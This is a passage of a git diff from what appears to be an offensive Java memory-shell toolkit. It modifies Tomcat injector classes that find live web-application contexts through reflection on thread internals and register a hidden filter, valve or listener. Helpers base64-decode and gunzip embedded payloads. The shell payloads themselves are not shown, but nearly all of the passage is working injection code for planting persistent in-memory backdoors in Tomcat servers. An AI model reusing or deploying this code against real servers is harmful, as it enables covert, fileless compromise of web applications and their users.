context, Object valve) throws Exception { - Object pipeline = invokeMethod(context, "getPipeline", null, null); - if (isInjected(pipeline)) { - System.out.println("valve already injected"); - return; - } - Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); - invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); - System.out.println("valve injected successfully"); - } - - @SuppressWarnings("all") - public boolean isInjected(Object pipeline) throws Exception { - Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; - } - - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } finally { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - Field field = clazz.getDeclaredField(name); - field.setAccessible(true); - return field.get(obj); - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(); - } - - @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); - } - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 390d5db9..fac41399 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -6,7 +6,10 @@ import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -39,8 +42,8 @@ public class TomcatFilterInjector { try { List contexts = getContext(); for (Object context : contexts) { - getShell(context); - inject(context); + Object shell = getShell(context); + inject(context, shell); } } catch (Exception e) { e.printStackTrace(); @@ -56,9 +59,9 @@ public class TomcatFilterInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { - HashMap children = (HashMap) getFieldValue(value, "children"); + Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null @@ -70,7 +73,7 @@ public class TomcatFilterInjector { return contexts; } - private ClassLoader getWebAppClassLoader(Object context) { + private ClassLoader getWebAppClassLoader(Object context) throws Exception { try { return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); } catch (Exception e) { @@ -94,7 +97,7 @@ public class TomcatFilterInjector { } @SuppressWarnings("all") - public void inject(Object context) throws Exception { + public void inject(Object context, Object shell) throws Exception { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { System.out.println("filter already injected"); return; @@ -113,10 +116,13 @@ public class TomcatFilterInjector { } invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); + try { + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); + } catch (Exception e) { + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()}); + } invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); Constructor[] constructors; try { invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); @@ -174,30 +180,25 @@ public class TomcatFilterInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { - try { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); - } catch (Exception e) { - throw new RuntimeException("Error invoking method: " + methodName, e); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); } @SuppressWarnings("all") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 0c077aac..3dfff310 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -47,9 +47,9 @@ public class TomcatListenerInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { - HashMap children = (HashMap) getFieldValue(value, "children"); + Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null @@ -86,38 +86,31 @@ public class TomcatListenerInjector { @SuppressWarnings("all") public void inject(Object context, Object listener) throws Exception { - if (isInjected(context)) { - return; - } - Object applicationEventListenersObjects = getFieldValue(context, "applicationEventListenersObjects"); - if (applicationEventListenersObjects != null) { - Object[] appListeners = (Object[]) applicationEventListenersObjects; - if (appListeners != null) { - List appListenerList = new ArrayList(Arrays.asList(appListeners)); - appListenerList.add(listener); - setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray()); + Object objects = invokeMethod(context, "getApplicationEventListeners", null, null); + if (objects instanceof List) { + List listeners = (List) objects; + for (Object o : listeners) { + if (o.getClass().getName().equals(getClassName())) { + System.out.println("listener already injected"); + return; + } } - } else if (getFieldValue(context, "applicationEventListenersList") != null) { - List appListeners = (List) getFieldValue(context, "applicationEventListenersList"); - if (appListeners != null) { - appListeners.add(listener); + listeners.add(listener); + System.out.println("listener inject successful"); + } else { + ArrayList arrayList = new ArrayList(Arrays.asList(objects)); + for (Object o : arrayList) { + if (o.getClass().getName().equals(getClassName())) { + System.out.println("listener already injected"); + return; + } } + arrayList.add(listener); + invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()}); + System.out.println("listener inject successful"); } } - @SuppressWarnings("all") - public boolean isInjected(Object context) throws Exception { - Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); - List listeners = Arrays.asList(objects); - ArrayList arrayList = new ArrayList(listeners); - for (Object o : arrayList) { - if (o.getClass().getName().contains(getClassName())) { - return true; - } - } - return false; - } - @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index eec2b189..99e4c3c2 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -48,9 +48,9 @@ public class TomcatServletInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { - HashMap children = (HashMap) getFieldValue(value, "children"); + Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java index 5337d297..494232f4 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java @@ -49,9 +49,9 @@ public class TomcatValveInjector { Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { - HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); for (Object value : childrenMap.values()) { - HashMap children = (HashMap) getFieldValue(value, "children"); + Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } } else if (thread.getContextClassLoader() != null